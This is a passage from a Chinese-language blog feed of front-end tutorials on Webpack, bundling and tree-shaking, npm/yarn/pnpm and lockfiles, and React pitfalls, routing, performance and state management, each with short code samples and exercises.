&lt;p&gt;Webpack 把一切（JS、CSS、图片）都当&lt;strong&gt;模块&lt;/strong&gt;，核心是四件套：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;entry&lt;/strong&gt;：从哪开始构建依赖图。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;output&lt;/strong&gt;：产物输出到哪。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;loader&lt;/strong&gt;：&quot;某种文件 → JS 模块&quot;的转换器（如 &lt;code&gt;css-loader&lt;/code&gt;、&lt;code&gt;ts-loader&lt;/code&gt;、&lt;code&gt;babel-loader&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;plugin&lt;/strong&gt;：在编译生命周期钩子上做更重的活（压缩、生成 HTML、提取 CSS）。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;module.exports = {
  entry: &quot;./src/index.js&quot;,
  output: { path: &quot;dist&quot;, filename: &quot;[name].[contenthash].js&quot; },
  module: {
    rules: [{ test: /\.tsx?$/, use: &quot;babel-loader&quot; }],
  },
  plugins: [new HtmlWebpackPlugin()],
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;loader vs plugin&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;loader&lt;/strong&gt; 是&quot;文件级&quot;转换，一对一（一个资源进，一个模块出）。链条从右到左执行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;plugin&lt;/strong&gt; 是&quot;生命周期级&quot;扩展，能访问整个编译对象，做代码分割、资源注入、报表等。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简记：改&lt;strong&gt;文件内容&lt;/strong&gt;用 loader，改&lt;strong&gt;构建过程/产物&lt;/strong&gt;用 plugin。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;code splitting 拆包&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 动态 import 自动拆成独立 chunk
button.onclick = () =&amp;gt; import(&quot;./heavy&quot;).then(m =&amp;gt; m.run());
// 或配置
optimization: { splitChunks: { chunks: &quot;all&quot; } } // 提取公共依赖
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拆包让首屏只加载必要代码，公共库单独缓存，是性能优化的基础。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常见优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mode: &quot;production&quot;&lt;/code&gt; 自动开启压缩、tree-shaking。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contenthash&lt;/code&gt; 文件名：内容不变则文件名不变，最大化浏览器缓存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cache&lt;/code&gt; 目录缓存：二次构建大幅提速。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;webpack-bundle-analyzer&lt;/code&gt; 看谁占了体积。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;四件套：entry/output/loader/plugin。&lt;/li&gt;
&lt;li&gt;loader 转文件，plugin 扩流程。&lt;/li&gt;
&lt;li&gt;动态 import + splitChunks 做拆包优化首屏。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;contenthash&lt;/code&gt; 文件名利于长缓存。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;手写一个最小 webpack 配置，把 TS 入口打包成 dist 下的 hash 命名文件。&lt;/li&gt;
&lt;li&gt;配置 &lt;code&gt;splitChunks: { chunks: &quot;all&quot; }&lt;/code&gt;，观察公共依赖是否被提取到独立 chunk。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;webpack-bundle-analyzer&lt;/code&gt; 找出体积最大的模块，想办法减小。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>02 · 模块化与打包原理</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-02-bundling-principle/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-02-bundling-principle/</guid><description>打包器到底在做什么：从入口出发构建依赖图、转译、合并、拆分 chunk。理解 ESM/CJS 互操作、Tree-shaking 的前置条件、以及 source map 如何把压缩代码映射回源码。</description><pubDate>Wed, 30 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;浏览器不认识你的工程&lt;/h2&gt;
&lt;p&gt;你写的是 &lt;code&gt;import&lt;/code&gt;/&lt;code&gt;export&lt;/code&gt;、TS、JSX，浏览器只认&quot;一个或少数几个 JS 文件&quot;。&lt;strong&gt;打包器（bundler）就是把分散的模块，变成浏览器能直接跑的产物&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;打包四步&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;构建依赖图&lt;/strong&gt;：从入口文件出发，递归解析所有 &lt;code&gt;import&lt;/code&gt;，形成&quot;谁依赖谁&quot;的图。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;转译&lt;/strong&gt;：用 Babel/esbuild 把 TS/JSX/新语法转成目标 JS。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合并&lt;/strong&gt;：把模块拼接成 bundle（处理作用域、导出绑定）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拆分与优化&lt;/strong&gt;：按路由/动态 &lt;code&gt;import&lt;/code&gt; 拆成多个 chunk，做压缩、tree-shaking。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Tree-shaking 的前提&lt;/h2&gt;
&lt;p&gt;&quot;摇掉&quot;没被用到的导出，靠的是 &lt;strong&gt;ESM 的静态结构&lt;/strong&gt;（编译期可知导入导出）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// math.js
export const add = () =&amp;gt; {};
export const unused = () =&amp;gt; {}; // 没被 import → 被摇掉
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前提：用 ESM（&lt;code&gt;import/export&lt;/code&gt;），且打包器开启 &lt;code&gt;mode: production&lt;/code&gt;。&lt;strong&gt;CommonJS 因运行时才知依赖，无法静态分析，摇不掉&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;ESM 与 CJS 互操作&lt;/h2&gt;
&lt;p&gt;打包器要处理两种模块规范的混用：把 CJS 的 &lt;code&gt;module.exports&lt;/code&gt; 包成 ESM 可消费的接口。这也是为什么&quot;只 import CJS 的具名导出有时会失败&quot;——CJS 本质是单个 &lt;code&gt;exports&lt;/code&gt; 对象。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Source Map&lt;/h2&gt;
&lt;p&gt;压缩后的代码只剩 &lt;code&gt;a,b,c&lt;/code&gt;，报错堆栈看不懂。&lt;strong&gt;source map&lt;/strong&gt; 记录&quot;压缩代码位置 ↔ 源码位置&quot;的映射，让 DevTools 能把错误指回你写的 &lt;code&gt;.ts&lt;/code&gt; 行。生产环境也建议保留（或单独上传到错误监控），否则线上报错无法定位。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;打包器 = 依赖图 + 转译 + 合并 + 拆分。&lt;/li&gt;
&lt;li&gt;Tree-shaking 依赖 ESM 静态结构，CJS 摇不掉。&lt;/li&gt;
&lt;li&gt;source map 是定位压缩后代码错误的生命线。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;npx esbuild&lt;/code&gt; 打包一个含未使用导出的 ESM 文件（production 模式），对比打包前后体积，验证 tree-shaking。&lt;/li&gt;
&lt;li&gt;故意制造一个线上报错，用 source map 在 DevTools 里定位回源码行。&lt;/li&gt;
&lt;li&gt;解释为什么 &lt;code&gt;import { a } from &quot;cjs-lib&quot;&lt;/code&gt; 可能拿不到具名导出。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>01 · 包管理器</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-01-package-manager/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-01-package-manager/</guid><description>npm / yarn / pnpm 的差异与选型，lockfile 为什么必须提交，语义化版本（^ ~ *）的陷阱，依赖类型 dependencies/devDependencies/peerDependencies 的正确划分。</description><pubDate>Wed, 30 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一次&quot;只在我机器上能跑&quot;的事故&lt;/h2&gt;
&lt;p&gt;新人没提交 &lt;code&gt;package-lock.json&lt;/code&gt;，别人 &lt;code&gt;npm install&lt;/code&gt; 装到了 &lt;code&gt;lodash&lt;/code&gt; 的一个小版本更新，某个 API 行为变了，本地正常、CI 红。根因：&lt;strong&gt;没有 lockfile，依赖树不可复现&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三大包管理器&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;适用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;npm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;自带、最稳&lt;/td&gt;
&lt;td&gt;通用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yarn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;早期快、workspace 支持&lt;/td&gt;
&lt;td&gt;老项目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pnpm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;硬链接+内容寻址，&lt;strong&gt;省磁盘、严格&lt;/strong&gt;（不扁平化 node_modules）&lt;/td&gt;
&lt;td&gt;现代项目/Monorepo 首选&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;pnpm&lt;/code&gt; 的&quot;非扁平&quot; node_modules 能&lt;strong&gt;杜绝幽灵依赖&lt;/strong&gt;（没声明却能被 import），这是它最大的工程价值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;lockfile 必须提交&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;package-lock.json&lt;/code&gt; / &lt;code&gt;yarn.lock&lt;/code&gt; / &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; 锁定了&lt;strong&gt;精确版本与依赖树&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;提交它 → 所有人、CI 装到完全一致的结果，&lt;strong&gt;可复现构建&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;装依赖用 &lt;code&gt;npm ci&lt;/code&gt;（基于 lock 干净安装），比 &lt;code&gt;npm install&lt;/code&gt; 更快更严格，CI 必用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;版本号语义&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&quot;lodash&quot;: &quot;^1.2.3&quot;  // 允许 1.x.x 中 &amp;gt;=1.2.3（不含 2.0.0）
&quot;react&quot;: &quot;~18.2.0&quot;  // 允许 18.2.x
&quot;vue&quot;: &quot;*&quot;          // 任意版本（危险，别用）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;^&lt;/code&gt; 只升 minor/patch，major 不升——这是&quot;不破坏兼容性&quot;的约定。但即使是 &lt;code&gt;^&lt;/code&gt;，lockfile 仍应锁死，避免意外。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;依赖类型&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dependencies&lt;/strong&gt;：运行时需要（如 React、lodash）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;devDependencies&lt;/strong&gt;：仅开发/构建需要（如 vite、eslint、typescript）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;peerDependencies&lt;/strong&gt;：&quot;宿主项目应提供&quot;的（如插件声明它需要的 React 版本，避免重复打包）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;分错类型会导致：生产包过大，或 peer 冲突。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;选型现代项目优先 &lt;code&gt;pnpm&lt;/code&gt;（省空间、防幽灵依赖）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;lockfile 必提交&lt;/strong&gt;，CI 用 &lt;code&gt;npm ci&lt;/code&gt; / &lt;code&gt;pnpm install --frozen-lockfile&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;版本用 &lt;code&gt;^&lt;/code&gt;/&lt;code&gt;~&lt;/code&gt;，别用 &lt;code&gt;*&lt;/code&gt;；lockfile 兜底精确性。&lt;/li&gt;
&lt;li&gt;依赖按 运行/开发/peer 三类正确划分。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;初始化一个 pnpm 项目，观察 &lt;code&gt;node_modules/.pnpm&lt;/code&gt; 结构，解释&quot;硬链接+非扁平&quot;如何防幽灵依赖。&lt;/li&gt;
&lt;li&gt;删掉 lockfile 重新 &lt;code&gt;install&lt;/code&gt;，对比 &lt;code&gt;package.json&lt;/code&gt; 与 lock 的版本差异。&lt;/li&gt;
&lt;li&gt;把一个依赖从 devDependencies 误放进 dependencies，说明对生产构建体积的影响。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>前端工程化 · 路线总览</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-00-overview/</guid><description>前端工程化学习路线总览：从包管理、模块打包原理、Webpack/Vite、Babel/TS 编译，到代码规范、Git Hooks、CI/CD、产物优化、微前端与 Monorepo。以十年工程视角，讲清&quot;写代码&quot;到&quot;稳定交付&quot;之间那一整套机器。</description><pubDate>Wed, 30 Sep 2026 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;12 篇&lt;/strong&gt;，是我从&quot;能跑就行&quot;到&quot;可协作、可发布&quot;这十年里，逐渐补上的工程课。工具会变，但&quot;为什么要这套机器&quot;不变。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;工程化解决什么&lt;/h2&gt;
&lt;p&gt;个人写 demo 不需要工程化。但团队规模一大，问题全来了：依赖版本不一致、代码风格打架、提交带 bug、构建慢、发布手抖。&lt;strong&gt;工程化就是用工具和流程，把&quot;人容易出错&quot;的环节变成&quot;机器可靠执行&quot;&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;前端工程化

├── 依赖与模块化
│   ├── 包管理器（npm/yarn/pnpm）
│   ├── 模块化与打包原理
│   └── 打包器：Webpack / Vite
├── 编译与规范
│   ├── Babel 与 TS 编译
│   ├── 代码规范（ESLint/Prettier）
│   └── Git Hooks 质量门禁
├── 交付
│   ├── CI/CD
│   ├── 构建产物分析与优化
│   └── 微前端
└── 规模
    └── Monorepo
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;我踩过最贵的几个坑&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;lockfile 不提交&lt;/strong&gt;：两人依赖树不同，一个能跑一个白屏，查了两天。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ESLint 只在 IDE 开着&lt;/strong&gt;：有人提交一堆格式问题，CI 才发现，来回拉扯。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建没分析&lt;/strong&gt;：bundle 8MB，首屏 10 秒，用户全跑了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monorepo 盲目上&lt;/strong&gt;：工具成本高，小团队反而被流程拖死。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;怎么读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;01–04 打地基（依赖、打包原理、两大打包器）。&lt;/li&gt;
&lt;li&gt;05–07 是&quot;代码变干净、提交变安全&quot;的规范层。&lt;/li&gt;
&lt;li&gt;08–11 偏规模与交付，按你团队阶段取用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;工程化的目标不是&quot;用最潮的工具&quot;，而是&lt;strong&gt;用最低成本挡住最多的错&lt;/strong&gt;。下一篇从最容易被忽视却最致命的——包管理器与 lockfile 讲起。&lt;/p&gt;
</content:encoded></item><item><title>11 · 工程实战与常见坑</title><link>http://117.72.32.87/blog/posts/react-roadmap-11-engineering-pitfalls/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-11-engineering-pitfalls/</guid><description>真实项目里 React 最常见的坑与对策：key 错用、useEffect 竞态、无限重渲染、状态不该放 state、过度使用 Context、StrictMode 双调用困惑，以及一份可落地的工程检查清单。</description><pubDate>Wed, 30 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;这些年我排过的雷&lt;/h2&gt;
&lt;h3&gt;1. 无限重渲染&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const [cfg, setCfg] = useState({});
useEffect(() =&amp;gt; {
  setCfg(loadCfg()); // 每次渲染都 set 新对象 → 又触发渲染 → 死循环
}, []);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修复：依赖写全、或把&quot;非响应式&quot;的初始化放 &lt;code&gt;useState(() =&amp;gt; loadCfg())&lt;/code&gt;，不在 effect 里无条件 set。&lt;/p&gt;
&lt;h3&gt;2. 该派生就不存 state&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const [fullName, setFullName] = useState(&quot;&quot;); // ❌ 多余
// ✅ 直接派生
const fullName = `${first} ${last}`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;存储可派生的数据，状态一多就难同步、易错。&lt;/p&gt;
&lt;h3&gt;3. 过度使用 Context&lt;/h3&gt;
&lt;p&gt;把&quot;用户、主题、语言、布局&quot;全塞一个 Context，任一处变化全部消费者重渲染。拆成多个细粒度 Context，或用状态库按需订阅。&lt;/p&gt;
&lt;h3&gt;4. StrictMode 双调用困惑&lt;/h3&gt;
&lt;p&gt;开发模式下 &lt;code&gt;StrictMode&lt;/code&gt; 会&lt;strong&gt;故意双调用&lt;/strong&gt;渲染、effect（挂载→卸载→再挂载）以暴露副作用泄漏。看到&quot;请求发两次&quot;先确认是不是它，清理函数写对就不会有问题。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;工程检查清单&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] 列表 key 用稳定 id，非 index。&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;useEffect&lt;/code&gt; 依赖数组写全，清理函数齐全。&lt;/li&gt;
&lt;li&gt;[ ] 派生数据不进 state。&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;memo/useMemo/useCallback&lt;/code&gt; 按测量结论加，不滥用。&lt;/li&gt;
&lt;li&gt;[ ] 长列表虚拟滚动；首屏代码分割。&lt;/li&gt;
&lt;li&gt;[ ] 全局状态先评估是否真需要库。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;无限循环多因&quot;effect 里无条件 setState + 依赖不全&quot;。&lt;/li&gt;
&lt;li&gt;能派生的不存 state；Context 拆细，避免广播重渲染。&lt;/li&gt;
&lt;li&gt;StrictMode 双调用是帮你找 bug，清理写对即可。&lt;/li&gt;
&lt;li&gt;性能靠测量，不靠感觉；清单化自查更稳。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;故意制造一个无限重渲染，用 Profiler 看调用栈，再用正确依赖修复。&lt;/li&gt;
&lt;li&gt;把一个&quot;全量 Context&quot;拆成 &lt;code&gt;UserContext&lt;/code&gt; + &lt;code&gt;ThemeContext&lt;/code&gt;，验证只改主题时用户组件不重渲染。&lt;/li&gt;
&lt;li&gt;列出你当前项目里&quot;可派生却存了 state&quot;的地方并改造。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>10 · 路由与数据请求</title><link>http://117.72.32.87/blog/posts/react-roadmap-10-router-data/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-10-router-data/</guid><description>React Router 的声明式路由与动态参数，客户端数据请求的两种范式：自己用 useEffect+fetch，或用 SWR/React Query 获得缓存、重试、焦点刷新等能力。</description><pubDate>Wed, 30 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;路由：把 URL 当状态&lt;/h2&gt;
&lt;p&gt;React Router 用声明式路由映射 URL ↔ 组件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Routes&amp;gt;
  &amp;lt;Route path=&quot;/users/:id&quot; element={&amp;lt;UserDetail /&amp;gt;} /&amp;gt;
  &amp;lt;Route path=&quot;*&quot; element={&amp;lt;NotFound /&amp;gt;} /&amp;gt;
&amp;lt;/Routes&amp;gt;
// 组件内取参数
const { id } = useParams();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;路由本质是&quot;把应用状态的一部分外化到 URL&quot;，刷新/分享链接都能还原页面，对 SEO 和可分享性至关重要。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;自己请求数据&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function UserDetail() {
  const { id } = useParams();
  const { data, loading } = useFetch(`/api/users/${id}`); // 第07篇的 useFetch
  if (loading) return &amp;lt;Spinner /&amp;gt;;
  return &amp;lt;Profile user={data} /&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;够用，但缓存、去重、重试、竞态都要自己写。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;SWR / React Query：专业数据层&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import useSWR from &quot;swr&quot;;
const { data, error, isLoading } = useSWR(`/api/users/${id}`, fetcher);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SWR（Stale-While-Revalidate）自动：缓存响应、标签页聚焦时重新验证、请求去重、失败重试。React Query 更重，支持 mutations、无限加载、离线缓存。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;经验：项目一旦有&quot;多个地方用同一份数据、需要自动刷新&quot;的需求，直接用 React Query，别自己造轮子。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;React Router 把 URL 当共享状态，可还原、可分享。&lt;/li&gt;
&lt;li&gt;简单请求 &lt;code&gt;useEffect+fetch&lt;/code&gt; 够用。&lt;/li&gt;
&lt;li&gt;多组件共享数据、需缓存/重试/聚焦刷新 → SWR / React Query。&lt;/li&gt;
&lt;li&gt;数据层库解决的是&quot;重复造缓存/竞态/去重的轮子&quot;问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 React Router 搭一个含 &lt;code&gt;/&lt;/code&gt; 列表页和 &lt;code&gt;/items/:id&lt;/code&gt; 详情页的小应用。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;useSWR&lt;/code&gt; 替换手写 &lt;code&gt;useFetch&lt;/code&gt;，对比是否自动处理了重复请求。&lt;/li&gt;
&lt;li&gt;给详情页加&quot;焦点回到标签页时自动刷新&quot;（SWR 的 &lt;code&gt;focusThrottleInterval&lt;/code&gt; / 默认行为）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>09 · 性能优化</title><link>http://117.72.32.87/blog/posts/react-roadmap-09-performance/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-09-performance/</guid><description>React 性能优化原则：先测量再优化。React.memo / useMemo / useCallback 的适用边界，长列表用虚拟列表，代码分割与懒加载（React.lazy + Suspense），以及常见反模式。</description><pubDate>Wed, 30 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;第一条铁律：先测量&lt;/h2&gt;
&lt;p&gt;别凭直觉优化。用 React DevTools 的 Profiler 看&lt;strong&gt;哪些组件渲染耗时、为何重渲染&lt;/strong&gt;。大多数&quot;卡&quot;其实不在你以为的地方。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;memo / useMemo / useCallback&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;React.memo&lt;/code&gt;&lt;/strong&gt;：props 没变就跳过重渲染（浅比较）。适合&quot;纯展示、频繁父级重渲染&quot;的组件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useMemo&lt;/code&gt;&lt;/strong&gt;：缓存昂贵计算。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useCallback&lt;/code&gt;&lt;/strong&gt;：缓存函数引用，配 &lt;code&gt;memo&lt;/code&gt; 子组件避免无谓重渲染。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;反模式：给每个组件都包 &lt;code&gt;memo&lt;/code&gt;、每个函数都 &lt;code&gt;useCallback&lt;/code&gt;——比较本身有成本，滥用反而慢。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Item = React.memo(function Item({ data }) {
  return &amp;lt;li&amp;gt;{data.name}&amp;lt;/li&amp;gt;;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;长列表：虚拟列表&lt;/h2&gt;
&lt;p&gt;渲染 10000 行 DOM 必卡。虚拟列表（react-window / react-virtuoso）只渲染可视区域：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { FixedSizeList } from &quot;react-window&quot;;
&amp;lt;FixedSizeList height={400} itemCount={10000} itemSize={40}&amp;gt;
  {({ index, style }) =&amp;gt; &amp;lt;div style={style}&amp;gt;{items[index]}&amp;lt;/div&amp;gt;}
&amp;lt;/FixedSizeList&amp;gt;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;代码分割与懒加载&lt;/h2&gt;
&lt;p&gt;路由级懒加载，首屏只加载必要代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const Settings = React.lazy(() =&amp;gt; import(&quot;./Settings&quot;));
&amp;lt;Suspense fallback={&amp;lt;Spinner /&amp;gt;}&amp;gt;
  &amp;lt;Settings /&amp;gt;
&amp;lt;/Suspense&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配合打包器的动态 &lt;code&gt;import()&lt;/code&gt;，自动拆包，首屏体积大幅下降。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优化前先用 Profiler 测，别猜。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;memo/useMemo/useCallback&lt;/code&gt; 按场景用，滥用有反效果。&lt;/li&gt;
&lt;li&gt;长列表用虚拟列表；首屏用代码分割 + 懒加载。&lt;/li&gt;
&lt;li&gt;性能是&quot;度量→定位→优化→再度量&quot;的循环。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;故意让父组件频繁重渲染，观察未 memo 的子组件也跟着渲染，再包 &lt;code&gt;memo&lt;/code&gt; 对比。&lt;/li&gt;
&lt;li&gt;用一个大数据数组（1万项）渲染列表，体验卡顿，再换成 react-window 虚拟列表。&lt;/li&gt;
&lt;li&gt;把某个路由组件改成 &lt;code&gt;React.lazy&lt;/code&gt; 懒加载，观察网络请求是否拆出独立 chunk。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>08 · 状态管理</title><link>http://117.72.32.87/blog/posts/react-roadmap-08-state-management/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/react-roadmap-08-state-management/</guid><description>React 状态管理的分层选型：局部用 useState、跨层用 useContext、全局用 Zustand/Redux。讲清什么时候不该上状态库，以及 useReducer 在复杂状态机场景的价值。</description><pubDate>Wed, 30 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;先问：真的需要状态库吗&lt;/h2&gt;
&lt;p&gt;我见过太多项目一上来 &lt;code&gt;npm i redux&lt;/code&gt;，结果 90% 的状态都是局部 &lt;code&gt;useState&lt;/code&gt; 能解决的。状态管理的代价是&lt;strong&gt;额外的抽象和心智负担&lt;/strong&gt;，别为&quot;可能以后要&quot;提前引入。&lt;/p&gt;
&lt;p&gt;分层决策：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;范围&lt;/th&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单组件内&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最简单&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跨多层组件&lt;/td&gt;
